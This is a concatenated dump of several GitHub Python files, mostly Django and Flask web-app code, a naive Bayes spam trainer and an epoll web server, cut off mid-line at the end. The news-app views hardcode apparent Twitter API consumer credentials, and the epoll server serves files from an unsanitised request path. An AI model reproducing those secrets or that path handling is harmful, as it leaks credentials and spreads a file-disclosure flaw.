return(pd.to_datetime(input(prompt)).date())\n except(dateutil.parser._parser.ParserError, # type: ignore\n ValueError,\n OverflowError): \n print(\"Cannot parse the input as a date. Please try again.\")\n\n\ndef confirm(prompt: str, sep: str = ': '):\n \"\"\" Prompts the user with a yes/no prompt\n\n Args:\n prompt: Prompt user sees on the command-line\n sep (Optional): Separator symbol between prompt and input\n\n Outputs:\n selection (bool): True if user indicates \"yes\"\n \"\"\"\n final_prompt = f\"{prompt} [y/N]{sep}\"\n selection = input(final_prompt).upper()\n\n while selection not in {\"Y\", \"N\", \"YES\", \"NO\"}:\n selection = input(f\"Please choose [y/N]{sep}\").upper()\n\n return(selection == \"Y\" or selection == \"YES\")\n","repo_name":"ajagbay/phoebe-shelves-clt","sub_path":"src/phoebe_shelves_clt/utils/inputs.py","file_name":"inputs.py","file_ext":"py","file_size_in_byte":4470,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"7118486893","text":"import unittest\nimport psycopg2\nimport os\nimport unittest\nfrom flask import Flask,Response, json\nfrom api.utilities import Database\nfrom .test_base import rides_test\nfrom api.models import JSON_MIME_TYPE, Ride,User\n\n\n\n'''Defines tests for the view methods of for rides'''\n\n\nclass TestRide(rides_test):\n\n def setUp(self):\n pass\n \n def test_get_all_rides(self):\n \n response = self.client.get(\"/rides\", content_type='application/json', data=json.dumps(rides))\n\n self.assertEqual(response.status_code, 200)\n\n def test_get_ride(self):\n response = self.client.get(\"/rides/\")\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.content_type, 'application/json')\n\n\n def test_create_ride(self):\n response = self.client.create_ride('/user/rides', data = request.get_json(ride), content_type='application/json',\n follow_redirects=True)\n self.assertEqual(response.status_code, 201)\n response = self.create_ride('gabriel@gmail.com', 'okello', 'innocent')\n self.assertIn(b'Ride Created', response.data)\n\n def test_index(self):\n client = app.test_client(self)\n response = client.get('/index', content_type='application/json')\n self.assertEqual(response.status_code, 404)\n\n def test_login(self):\n client = app.test_client(self)\n response = client.get('/login', content_type='application/json')\n self.assertEqual(response.status_code, 404)\n\n\n def test_registor(self):\n \"\"\" Test for user registration \"\"\"\n response = self.client.post(\n '/auth/signup',\n data=json.dumps(dict(\n email='joe@gmail.com',\n password='123456'\n )),\n content_type='application/json'\n )\n data = json.loads(response.data.decode())\n self.assertFalse(data['result'] == 'success')\n self.assertTrue(data['result'] == 'User Created')\n self.assertTrue(data['auth_token'])\n self.assertTrue(response.content_type == 'application/json')\n self.assertEqual(response.status_code, 201)\n\n response = self.client.post(\n '/auth/signup',\n data=json.dumps(dict(\n email='joe@gmail.com',\n password='123456'\n )),\n content_type='application/json'\n )\n data = json.loads(response.data.decode())\n self.assertFalse(data['result'] == 'success')\n self.assertTrue(data['result'] == 'Message :User with same email exists!')\n self.assertTrue(data['auth_token'])\n self.assertTrue(response.content_type == 'application/json')\n self.assertEqual(response.status_code, 500)\n\n\n \ndef test_request_to_join_ride(self):\n \n results = json.loads(response.data.decode())\n\n\n for ride in results:\n \n response = self.client.post('/rides//requests'.format(ride['ride_id']),\n content_type='application/json',\n data=json.dumps({'status':True}))\n self.assertEqual(response.status_code, 201)\n self.assertIn(\"A request has been sent\", str(response.data))\n\n\n def test_empty_query(self):\n cur = conn.cursor()\n self.assertRaises(psycopg2.ProgrammingError, cur.execute, \"\")\n self.assertRaises(psycopg2.ProgrammingError, cur.execute, \" \")\n self.assertRaises(psycopg2.ProgrammingError, cur.execute, \";\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"okellogabrielinnocent/Ride-My-Way","sub_path":"api/test_ride.py","file_name":"test_ride.py","file_ext":"py","file_size_in_byte":3644,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29135472321","text":"#@author Dhaval Shah\n\nimport glob, os, sys\n\noutputFile = open(\"nbmodel.txt\", \"w\", encoding=\"latin1\")\n\nfilename = ' '.join(sys.argv[1:])\n\nspam_files = 0\nham_files = 0\ntotal_files = 0\n\nspam_words = {}\nham_words = {}\nspam_prob = {}\nham_prob = {}\ndistinct_words = []\n\nspam_wordCount = 0\nham_wordCount = 0\n\nfor root, subdirs, files in os.walk(filename):\n if(os.path.basename(os.path.normpath(root)) == \"spam\"):\n os.chdir(root)\n for file in glob.glob(\"*.txt\"):\n total_files = total_files+1\n spam_files = spam_files+1\n with open(file, \"r\", encoding=\"latin1\") as f1:\n for line in f1:\n for word in line.strip().split():\n\n spam_wordCount = spam_wordCount+1\n\n if word in spam_words:\n spam_words[word] = spam_words.get(word) + 1\n else:\n spam_words[word] = 2\n\n elif(os.path.basename(os.path.normpath(root)) == \"ham\"):\n os.chdir(root)\n for file in glob.glob(\"*.txt\"):\n total_files = total_files+1\n ham_files = ham_files+1\n with open(file, \"r\", encoding=\"latin1\") as f1:\n for line in f1:\n for word in line.strip().split():\n\n ham_wordCount = ham_wordCount+1\n\n if word in ham_words:\n ham_words[word] = ham_words.get(word) + 1\n else:\n ham_words[word] = 2\n\nfor i in spam_words:\n if i not in ham_words:\n ham_words[i] = 1\n ham_wordCount = ham_wordCount+1\nfor i in ham_words:\n if i not in spam_words:\n spam_wordCount = spam_wordCount+1\n spam_words[i] = 1\n\n'''\nfor i in range (0, len(distinct_words)):\n if distinct_words[i] not in spam_words:\n spam_words[distinct_words[i]] = 1\n if distinct_words[i] not in ham_words:\n ham_words[distinct_words[i]] = 1\n'''\n\nprobabilitySpam = spam_files/total_files\nprobabilityHam = ham_files/total_files\n\nfor i in spam_words:\n spam_prob[i] = spam_words.get(i)/spam_wordCount\n\nfor i in ham_words:\n ham_prob[i] = ham_words.get(i)/ham_wordCount\n\n'''\nprint(spam_prob)\nprint(ham_prob)\n'''\n\noutputFile.write(str(probabilitySpam))\noutputFile.write('\\n')\n\noutputFile.write(str(probabilityHam))\noutputFile.write('\\n')\n\nprint(spam_wordCount)\nprint(ham_wordCount)\n\nfor i in spam_words:\n\n print_line = i+\" \"+str(spam_prob.get(i))+\" \"+str(ham_prob.get(i))+\" \"+str(spam_words.get(i))+\" \"+str(ham_words.get(i))\n outputFile.write(print_line)\n outputFile.write('\\n')\n'''\nprint(\"Spam Words\"+str(spam_wordCount))\n\nprint(\"Ham Words\"+str(ham_wordCount))\n'''\n\noutputFile.close()","repo_name":"Dhaval08/SpamDetector","sub_path":"NLPHW1.py","file_name":"NLPHW1.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37518381186","text":"\"\"\" ORM - Object Relational Mapping - технология программирования, которая связывает код и работу с базой данных \"\"\"\n\n# from peewee import *\nimport peewee as pw\n\ndb_url = 'postgresql://tima:1@localhost:5432/cars'\ndb = pw.PostgresqlDatabase(db_url)\n\nclass Cars(pw.Model):\n brand = pw.CharField(50)\n year = pw.DateField()\n\n class Meta:\n database = db\n\n\ndb.connect()\ndb.create_tables([Cars])\ndb.close()","repo_name":"TimaDootaliev/makers_lectures_py26_ev","sub_path":"orm/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"ru","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"21483323613","text":"# -*- coding: utf-8 -*-\n\"\"\"\n 单进程单线程实现高并发,nginx和apache都是基于其实现\n epoll核心:\n 1. 应用程序和内存之间 **共享部分内存**,降低资源拷贝时的消耗,\n 2. 采用 **事件通知** 的方式监听socket列表\n\"\"\"\nimport os\nimport re\nimport select\nimport socket\n\n\ndef handle(client_socket, request):\n print(\"=\" * 50)\n request_list = request.splitlines()\n response_header = 'HTTP/1.1 200 OK\\r\\n'\n response_body = b''\n if request_list:\n ret = re.match(r'[^/]+(/[^ ]+)', request_list[0])\n if ret:\n req_info = ret.group(1).split(sep='?')\n req_file = req_info[0]\n if os.path.isfile('./pages' + req_file):\n with open('./pages' + req_file, 'rb') as file:\n response_body = file.read()\n else:\n response_header = 'HTTP/1.1 404 NOT FOUND\\r\\n'\n print(req_file + \"找不到\")\n\n response_header += 'Content-Length: %d\\r\\n' % len(response_body)\n response_header += '\\r\\n'\n response_info = response_header.encode('utf-8') + response_body\n client_socket.send(response_info)\n\n\ndef main():\n tcp_server = socket.socket()\n # 设置可重用端口号\n tcp_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n # 设置socket为非阻塞\n tcp_server.setblocking(False)\n tcp_server.bind((\"\", 9527))\n tcp_server.listen(128)\n\n # 创建一个epoll对象\n client_pool = select.epoll()\n\n # 将服务器套接字的fd放入epoll中,指定监听其数据输入\n client_pool.register(tcp_server.fileno(), select.EPOLLIN)\n\n client_socket_dict = dict()\n while True:\n fd_event_list = client_pool.poll()\n # [(fd, event),(fd, event)] fd文件描述符,event事件类型\n for fd, event in fd_event_list:\n if fd == tcp_server.fileno():\n new_socket, client_addr = tcp_server.accept()\n client_pool.register(new_socket.fileno(), select.EPOLLIN)\n client_socket_dict[new_socket.fileno()] = new_socket\n elif event == select.EPOLLIN:\n recv_data = client_socket_dict.get(fd).recv(1024).decode('utf-8')\n if recv_data:\n handle(client_socket_dict.get(fd), recv_data)\n else: # 不再请求数据,从epoll中注销\n client_socket_dict.get(fd).close()\n client_pool.unregister(fd)\n del client_socket_dict[fd]\n\n\nif __name__ == '__main__':\n print(\"服务器启动成功\")\n main()\n","repo_name":"huanmengmie/python_study","sub_path":"pro/server_test/epoll.py","file_name":"epoll.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17986336996","text":"import datetime\nimport googlebooks\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.models import User\nfrom django.db import transaction\nfrom django.http import Http404, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import DeleteView, UpdateView, CreateView\nfrom django.views import generic\n\nfrom accounts.decorators import is_friend, is_me, is_friend2, is_me2\nfrom catalog.filters import BookFilter, BookInstanceFilter\nfrom catalog.models import BookInstance, Book, BookReadingHistory\nfrom catalog.form import BookInstanceForm, FriendsBookInstanceForm, BookInstanceEditForm\nfrom history.models import History\nfrom myLibrary import settings\n\n\n@login_required\ndef catalog(request):\n \"\"\"\n View function for home page of site.\n \"\"\"\n # Generate counts of some of the main objects\n num_books = Book.objects.all().count()\n num_instances = BookInstance.objects.all().count()\n # Available books (status = 'a')\n num_instances_available = BookInstance.objects.filter(status__exact='a').count()\n\n # Render the HTML template index.html with the data in the context variable\n return render(\n request,\n 'index.html',\n context={'num_books': num_books, 'num_instances': num_instances,\n 'num_instances_available': num_instances_available},\n )\n\n\nclass BookListView(generic.ListView):\n model = Book\n paginate_by = 10\n\n\nclass BookCreate(CreateView):\n model = Book\n template_name_suffix = '_create_form'\n fields = ['title', 'author', 'genre', 'summary', 'isbn_13', 'cover_url']\n\n def get_success_url(self):\n return reverse('all_books_url')\n\n\nclass BookUpdate(UpdateView):\n model = Book\n fields = ['title', 'author', 'genre', 'summary', 'isbn_13', 'cover_url']\n template_name_suffix = '_update_form'\n\n def get_success_url(self):\n return reverse('all_books_url')\n\n\n@login_required\ndef book_detail_view(request, pk):\n try:\n book_id = Book.objects.get(pk=pk)\n except Book.DoesNotExist:\n raise Http404(\"Book does not exist\")\n return render(request, 'catalog/book_detail.html', context={'book': book_id,\n 'cover_url': settings.blank_cover_url, })\n\n\nclass UsersBookListView(LoginRequiredMixin, generic.ListView):\n model = BookInstance\n template_name = 'catalog/users_book_list.html'\n paginate_by = 10\n\n # filter what you want to return:\n def get_queryset(self, **kwarg):\n pk_user = self.kwargs.get('pk_user', '')\n user = User.objects.get(id=pk_user)\n return BookInstance.objects.filter(book_owner=user).order_by('-status', 'book')\n\n @method_decorator(is_friend())\n def dispatch(self, *args, **kwargs):\n return super(UsersBookListView, self).dispatch(*args, **kwargs)\n\n\nclass BorrowedFromListView(LoginRequiredMixin, generic.ListView):\n model = BookInstance\n template_name = 'catalog/borrowed_book_list.html'\n paginate_by = 10\n\n def get_queryset(self, **kwarg):\n pk_user = self.kwargs.get('pk_user', '')\n user = User.objects.get(id=pk_user)\n return BookInstance.objects.filter(book_holder=user).order_by('borrowed_day', 'book')\n\n @method_decorator(is_me())\n def dispatch(self, *args, **kwargs):\n return super(BorrowedFromListView, self).dispatch(*args, **kwargs)\n\n\n@login_required\n@is_friend2\ndef create_book_instance(request, *args, **kwargs):\n pk_user = kwargs['pk_user']\n user = User.objects.get(id=pk_user)\n if user == request.user:\n form = BookInstanceForm(initial={'book_owner': user, 'status': 'a'})\n else:\n form = FriendsBookInstanceForm(initial={'book_owner': user, 'status': 'a'})\n\n if request.method == 'POST':\n if 'sub_adding_by_book' in request.POST:\n requested_book_pk = request.POST['book_pk']\n requested_book = Book.objects.get(pk=requested_book_pk)\n form = BookInstanceForm(initial={'book_owner': user, 'status': 'a', 'book': requested_book})\n if form.is_valid():\n form.save()\n return redirect('users_books_url', pk_user=pk_user)\n elif 'sub_adding' in request.POST:\n if user == request.user:\n form = BookInstanceForm(request.POST, initial={'book_owner': user, 'status': 'a'})\n else:\n form = FriendsBookInstanceForm(request.POST, initial={'book_owner': user, 'status': 'a'})\n if form.is_valid():\n form.save()\n return redirect('users_books_url', pk_user=pk_user)\n elif 'sub_searching' in request.POST:\n api = googlebooks.Api()\n search_value = request.POST['search_value']\n search_type = request.POST['search_type']\n # langRestrict='en'\n found_books = api.list(search_type + ':' + search_value, maxResults=40, printType=\"books\")\n return render(request, 'catalog/bookinstance_form.html',\n {'form': form, 'found_books': found_books})\n elif 'add_outer' in request.POST:\n if user == request.user:\n form = BookInstanceForm(request.POST, initial={'book_owner': user, 'status': 'a'})\n else:\n form = FriendsBookInstanceForm(request.POST, initial={'book_owner': user, 'status': 'a'})\n return render(request, 'catalog/bookinstance_form.html', {'form': form})\n # for GET:\n return render(request, 'catalog/bookinstance_form.html', {'form': form})\n\n\nclass BookInstanceDelete(DeleteView):\n model = BookInstance\n template_name_suffix = '_delete_form'\n\n def get_success_url(self):\n return reverse('users_books_url', kwargs={'pk_user': self.kwargs.get('pk_user', '')})\n\n @method_decorator(is_friend())\n def dispatch(self, *args, **kwargs):\n return super(BookInstanceDelete, self).dispatch(*args, **kwargs)\n\n\nclass BookInstanceUpdate(UpdateView):\n model = BookInstance\n form_class = BookInstanceEditForm\n template_name_suffix = '_update_form'\n\n def get_success_url(self):\n messages.add_message(self.request, messages.SUCCESS, \"Book instance updated.\")\n return reverse('users_books_url', kwargs={'pk_user': self.kwargs.get('pk_user', '')})\n\n @method_decorator(is_me())\n def dispatch(self, *args, **kwargs):\n return super(BookInstanceUpdate, self).dispatch(*args, **kwargs)\n\n def post(self, request, **kwargs):\n requested_book_instance = BookInstance.objects.filter(id=kwargs['pk']).first()\n if requested_book_instance and requested_book_instance.status != 'a':\n add_to_history(request, requested_book_instance)\n if requested_book_instance and requested_book_instance.status == 'a':\n add_now_reading(request, **kwargs)\n return super(BookInstanceUpdate, self).post(request, **kwargs)\n\n\ndef isbn_page(request):\n isbn_no = request.GET[\"isbn\"]\n link = get_book_url_by_isbn(isbn_no)\n if link:\n return HttpResponseRedirect(link)\n return book_detail_view(request, request.GET[\"pk\"])\n\n\ndef get_book_url_by_isbn(isbn):\n api = googlebooks.Api()\n book = api.list('isbn:' + isbn)\n if book and book[\"totalItems\"] > 0:\n link = book[\"items\"][0][\"volumeInfo\"][\"canonicalVolumeLink\"]\n return link\n return None\n\n\n@login_required\n@is_friend2\ndef create_book_from_api(request, *args, **kwargs):\n pk_user = kwargs[\"pk_user\"]\n user = User.objects.get(id=pk_user)\n if request.method == 'POST':\n api = googlebooks.Api()\n isbn = request.POST[\"isbn\"]\n comment = request.POST['comment']\n book = api.list('isbn:' + isbn)\n if book and book[\"totalItems\"] > 0:\n try:\n title = book[\"items\"][0][\"volumeInfo\"][\"title\"]\n author = book[\"items\"][0][\"volumeInfo\"][\"authors\"][0]\n image_url = book[\"items\"][0][\"volumeInfo\"][\"imageLinks\"][\"thumbnail\"]\n except:\n messages.add_message(request, messages.WARNING, 'There is lack of information in chosen book.')\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n book_exists = Book.objects.filter(title=title, author=author).first()\n if book_exists is None:\n new_book = Book(title=title, author=author, isbn_13=isbn, cover_url=image_url)\n new_book.save()\n transaction.commit()\n book_exists = new_book\n else:\n book_instance_exists = BookInstance.objects.filter(book=book_exists, book_owner=user).first()\n if book_instance_exists is not None:\n messages.add_message(request, messages.WARNING, 'This book already is in your library.')\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n new_instance = BookInstance(book=book_exists, book_owner=user, comment=comment)\n new_instance.save()\n messages.add_message(request, messages.SUCCESS, 'Book added to library.')\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n\n\n@login_required\n@is_me2\ndef give_book_back(request, *args, **kwargs):\n pk_user = kwargs[\"pk_user\"]\n pk_book = kwargs[\"pk\"]\n book_instance = BookInstance.objects.get(pk=pk_book)\n add_to_history(request, book_instance)\n try:\n book_instance.status = 'a'\n book_instance.book_holder = None\n book_instance.borrowed_day = None\n book_instance.save()\n messages.add_message(request, messages.SUCCESS, \"Borrowed book is no longer in your library.\")\n except:\n messages.add_message(request, messages.WARNING, 'Problem occurred when giving book back.')\n return redirect('borrowed_books_url', pk_user=pk_user)\n\n\n@transaction.atomic\ndef add_to_history(request, book_instance):\n try:\n holder = 'outside'\n if book_instance.book_holder:\n holder = book_instance.book_holder.username\n todays_day = datetime.date.today()\n # create history:\n hist = History(book_instance=book_instance,\n book_holder_name=holder,\n book_owner_name=book_instance.book_owner.username,\n borrowed_day=book_instance.borrowed_day,\n returning_day=todays_day)\n # hist.save(force_insert=True)\n hist.save()\n messages.add_message(request, messages.SUCCESS, \"New position added to book history.\")\n except:\n messages.add_message(request, messages.WARNING, 'Problem occurred when adding new position to history.')\n\n\ndef search_book(request):\n book_list = Book.objects.all()\n book_filter = BookFilter(request.GET, queryset=book_list)\n return render(request, 'search/book_list.html', {'filter': book_filter})\n\n\n@login_required\n@is_friend2\ndef search_bookinstance(request, *args, **kwargs):\n pk_user = kwargs[\"pk_user\"]\n user = User.objects.get(id=pk_user)\n book_list = BookInstance.objects.filter(book_owner=user)\n book_filter = BookInstanceFilter(request.GET, queryset=book_list)\n return render(request, 'search/bookinstance_list.html', {'filter': book_filter})\n\n\n@login_required\n@is_me2\ndef add_now_reading(request, **kwargs):\n pk_user = request.user.pk\n pk_book = kwargs[\"pk\"]\n pk_owner = kwargs[\"pk_user\"]\n reader = User.objects.get(pk=pk_user)\n book_instance = BookInstance.objects.get(pk=pk_book)\n add_now_reading_to_history(request, book_instance, reader)\n return redirect('borrowed_books_url', pk_user=pk_user)\n\n\n@transaction.atomic\ndef add_now_reading_to_history(request, book_instance, reader):\n todays_day = datetime.date.today()\n try:\n hist = None\n if \"now_reading\" in request.POST:\n # if: exits hist when this bookinstance is reading now\n hist = BookReadingHistory.objects.filter(book_instance=book_instance,\n reader=reader,\n end_reading=None).first()\n if hist:\n return\n # else: create new hist\n hist = BookReadingHistory(book_instance=book_instance,\n reader=reader,\n start_reading=todays_day,\n end_reading=None)\n hist.save()\n messages.add_message(request, messages.SUCCESS, \"New position added to reading history.\")\n else:\n # if: exits hist when this bookinstance was reading until now\n hist = BookReadingHistory.objects.filter(book_instance=book_instance,\n reader=reader,\n end_reading=None).first()\n if not hist:\n return\n hist.end_reading = todays_day\n hist.save()\n messages.add_message(request, messages.SUCCESS, \"Reading history updated.\")\n except:\n messages.add_message(request, messages.WARNING, 'Problem occurred when adding new position to reading history.')\n\n\nclass BookReadingHistoryList(LoginRequiredMixin, generic.ListView):\n model = BookReadingHistory\n template_name_suffix = '_list_form'\n paginate_by = 10\n\n # filter what you want to return:\n def get_queryset(self, **kwarg):\n pk_book_instance = self.kwargs.get('pk')\n book_instance = BookInstance.objects.get(id=pk_book_instance)\n return BookReadingHistory.objects.filter(book_instance=book_instance).order_by('-start_reading')\n\n @method_decorator(is_friend())\n def dispatch(self, *args, **kwargs):\n return super(BookReadingHistoryList, self).dispatch(*args, **kwargs)\n","repo_name":"aleker/myLibrary","sub_path":"catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74907825172","text":"from euler.mathtools import phi\n\n\ndef resilience(n):\n return phi(n) / (n - 1)\n\ndef main():\n limit = 15499 / 94744\n\n i = 2\n while resilience(i) >= limit:\n i += 1\n print(i)\n\nif __name__ == '__main__':\n main()\n","repo_name":"jrmanrique/codingproblems","sub_path":"projecteuler/python/p243.py","file_name":"p243.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27720080469","text":"from collections import Counter\nfrom datetime import time, datetime\nfrom itertools import chain, cycle, islice\nfrom math import ceil\nimport operator\nfrom pprint import pprint\nimport random\nimport collections\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render, redirect, render_to_response\nfrom django.template import RequestContext\nfrom django.views.decorators.csrf import csrf_exempt\nimport numpy as np\nimport psycopg2\nimport sys\nimport sklearn\nfrom sklearn.hmm import normalize\nimport tweepy\nfrom articles.models import ArticleRec\nfrom .forms import SignUpForm, LogInForm, GetTwitterURL\nfrom user_profile.models import UserProfileRec\n\nimport logging\n\nconsumer_token = '0LA4gRkTxqKisEBBUia2n6ycc'\nconsumer_secret = 'WERUhw4tLvYVIDpCkB9hqE9ExBVOVhDDtVrSSwm1wO91mTHjpW'\ncallback_url = 'http://csi6220-2-vm4.ucd.ie/callback'\n\ntopics = ['art', 'business', 'celebrity', 'design', 'education', 'entertainment', 'fashion', 'film', 'food', 'health', 'music', 'politics', 'science', 'sport', 'tech', 'travel']\nCSS_COLOR_NAMES = [\"#C30CBB\",\"#D65AD1\",\"#CB31C4\",\"#A3009C\",\"#7E0078\",\"#ED0F4E\",\"#F3658E\",\"#EF3A6E\",\"#DD003F\",\"#AA0031\",\"#671CC5\",\"#9865D8\",\"#7D3FCC\",\"#4F0AA6\",\"#3D0880\",\"Indigo\"]\nicons = [\"fa fa-paint-brush\", \"fa fa-briefcase\", \"fa fa-users\", \"fa fa-pencil\", \"fa fa-graduation-cap\", \"fa fa-star\", \"fa fa-diamond\", \"fa fa-film\", \"fa fa-cutlery\",\"fa fa-heartbeat\",\"fa fa-music\",\"fa fa-university\",\"fa fa-flask\",\"fa fa-futbol-o\", \"fa fa-laptop\", \"fa fa-plane\"]\n\ntopic_tags = {t: {'name': name, 'icon': icons[t], 'colour': CSS_COLOR_NAMES[t]} for t, name in enumerate(topics)}\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\n# Create your views here.\n\ntwitter_given = False\n\ndef index(request):\n title = \"Home Page\"\n user = request.user\n\n # url = \"http://www.irishtimes.com/news/politics/misplaced-ibrc-minutes-confirm-siteserv-writedown-was-119-million-1.2237239\"\n # response = urllib.request.urlopen(url)\n # html = response.read()\n # article_soup = BeautifulSoup(html)\n # article_text = article_soup.find('section', property='articleBody').get_text()\n # print(article_text)\n\n #article_text = \"Filler \"\n\n if request.user.is_authenticated():\n return my_news(request)\n else:\n return render(request, \"landing.html\", {})\n\n\n\ndef main_news(request, template='main_news.html', page_template='articles.html'):\n prefs = [(1, 35), (4, 25), (10, 50), (7, 100), (6, 10)]\n\n minimum = min(prefs, key=operator.itemgetter(1))[1]\n N_articles = 200\n\n prefs = [(t, N_articles*v/(5*minimum)) for t, v in prefs]\n\n prefs = sorted(prefs, key=operator.itemgetter(1), reverse=True)\n\n num_topics = len(prefs)\n\n articles = []\n\n for tag, value in prefs:\n news = ArticleRec.objects.with_string_topics(tag)[:int(value)]\n sz = ceil(float(len(news))/float(num_topics))\n n = [news[i:i+sz] for i in range(0, len(news), sz)]\n pprint([b.article_tag['name'] for a in n for b in a])\n articles.append(n)\n\n chunked = []\n\n for i, articleset in enumerate(articles):\n chunked.append([a[i] for a in articles])\n ranked_articles = []\n from itertools import chain\n\n\n for c in chunked:\n ranked_articles.extend([a for a in list(chain.from_iterable(zip(c)))])\n\n\n new_articles = []\n\n # for ar in articles:\n # for a in ar:\n # t = a.article_tag\n # a.article_tag = {'name': topics[t].upper(), 'icon': icons[t], 'colour': CSS_COLOR_NAMES[t]}\n\n with_image = [(True, item) for item in ranked_articles if not (item.article_image is None or item.article_image is '')]\n no_image = [a for a in ranked_articles if a.article_image is \"\" or a.article_image is None]\n\n paired_no_image = [(False, item1, item2, item3) for item1, item2, item3 in list(zip(no_image[::3], no_image[1::3], no_image[2::3]))]\n\n article_list = list(map(next, random.sample([iter(with_image)]*len(with_image) + [iter(paired_no_image)]*len(paired_no_image),\n len(with_image)+len(paired_no_image))))\n\n\n\n # article_list = paired_no_image\n context = {\n 'entries': article_list,\n 'topics': topics,\n 'page_template': page_template,\n }\n\n if request.is_ajax():\n template = page_template\n\n return render_to_response(template,\n context,\n context_instance=RequestContext(request))\n\n\ndef my_news(request, template='my_news.html', page_template='articles.html'):\n title = \"Home Page\"\n user = request.user\n\n profile = UserProfileRec.objects.get(user_id=user.id)\n\n has_twitter = profile.has_twitter()\n\n from endless_pagination.templatetags import endless\n\n if has_twitter:\n entries, vals = profile.get_articles()\n else:\n entries = []\n vals = []\n\n context = {\n 'has_twitter': has_twitter,\n 'entries': entries,\n 'vals': vals,\n 'topics': topics,\n 'page_template': page_template,\n\n }\n\n if request.is_ajax():\n template = page_template\n\n return render_to_response(template,\n context,\n context_instance=RequestContext(request))\n\n\ndef by_topic(request, template='by_topic.html', page_template='articles.html'):\n title = \"Home Page\"\n user = request.user\n\n profile = UserProfileRec.objects.get(user_id=user.id)\n\n has_twitter = profile.has_twitter()\n\n from endless_pagination.templatetags import endless\n\n topic_id = int(request.GET.get('t'))\n topic_name = topics[topic_id].upper()\n\n topic = {'id': topic_id, 'name': topic_name, 'icon': icons[topic_id], 'colour': CSS_COLOR_NAMES[topic_id]}\n\n if has_twitter:\n articles = sorted(\n ArticleRec.objects.with_string_topics(topic_id),\n key=lambda instance: instance.article_published,\n reverse=True)\n with_image = [(True, item) for item in articles if not (item.article_image is None or item.article_image is '')]\n no_image = [a for a in articles if a.article_image is \"\" or a.article_image is None]\n\n paired_no_image = [(False, item1, item2, item3)\n for item1, item2, item3 in\n list(zip(no_image[::3], no_image[1::3], no_image[2::3]))]\n\n entries = list(map(next,\n random.sample([iter(with_image)]*len(with_image) +\n [iter(paired_no_image)]*len(paired_no_image),\n len(with_image)+len(paired_no_image))))\n\n else:\n entries = []\n\n\n\n\n context = {\n 'has_twitter': has_twitter,\n 'entries': entries,\n 'topics': topics,\n 'page_template': page_template,\n 'topic': topic,\n\n\n }\n\n if request.is_ajax():\n template = page_template\n\n return render_to_response(template,\n context,\n context_instance=RequestContext(request))\n\n\ndef auth_twitter(request):\n auth = tweepy.OAuthHandler(consumer_token,\n consumer_secret,\n callback_url)\n\n try:\n redirect_twitter = auth.get_authorization_url()\n\n except tweepy.TweepError:\n print(\"Error - failed to get access token\", file=sys.stderr)\n\n request.session['request_token'] = auth.request_token\n print(request.session['request_token'], file=sys.stderr)\n request.session.modified = True\n\n print(redirect_twitter, file=sys.stderr)\n\n return HttpResponseRedirect(redirect_twitter)\n\n\ndef callback(request):\n\n user = request.user\n print(request.get_full_path(), file=sys.stderr)\n\n verifier = request.GET['oauth_verifier']\n\n auth = tweepy.OAuthHandler(consumer_token,\n consumer_secret)\n\n token = request.session.get('request_token')\n print(token, file=sys.stderr)\n auth.request_token = token\n request.session.delete('request_token')\n\n try:\n auth.get_access_token(verifier)\n except tweepy.TweepError as err:\n\n print(err, file=sys.stderr)\n\n profile = UserProfileRec.objects.get(user_id=user.id)\n profile.access_token = auth.access_token\n profile.access_secret = auth.access_token_secret\n profile.save()\n\n profile.get_twitter_topics()\n\n return HttpResponseRedirect('/my_news')\n\n\ndef get_matches(friend_ids):\n # words = get_top_followings(profile.twitter_handle)\n words = {}\n # for i in friend_ids:\n # words[i] = get_profile_words(i)\n\n return words\n\n\ndef entry_index(request, template='myapp/entry_index.html'):\n context = {\n 'entries': ArticleRec.objects.all(),\n }\n return render_to_response(\n template, context, context_instance=RequestContext(request))\n\n\ndef log_in(request):\n\n title = \"Log In\"\n user = request.user\n\n form = LogInForm(request.POST or None)\n\n context = {\n \"template_title\" : title,\n \"user\" :user,\n \"form\" :form,\n }\n\n if form.is_valid():\n instance = form.save(commit=False)\n if not instance.full_name:\n instance.full_name = 'Not Given'\n\n instance.save()\n\n context = {\n \"template_title\" : \"Thank You\",\n }\n\n return render(request, \"login.html\", context)\n\n\ndef sign_up(request):\n\n title = \"Sign Up\"\n user = request.user\n\n form = SignUpForm(request.POST or None)\n\n context = {\n \"template_title\" : title,\n \"user\": user,\n \"form\": form,\n }\n\n if form.is_valid():\n instance = form.save(commit=False)\n if not instance.full_name:\n instance.full_name = 'Not Given'\n\n UserProfileRec(user=user).save()\n instance.save()\n\n context = {\n \"template_title\" : \"Thank You\",\n }\n\n return render(request, \"sign_up.html\", context)\n\n\ndef analytics(request):\n # Pie Chart Info\n profile = UserProfileRec.objects.get(user=request.user)\n profile_topics = profile.get_profile()\n twitter_topics = profile_topics[\"twitter_topics\"]\n explicit_topics = profile_topics[\"explicit_topics\"]\n\n top_twitter = [(k, topics[k].upper(), v) for k, 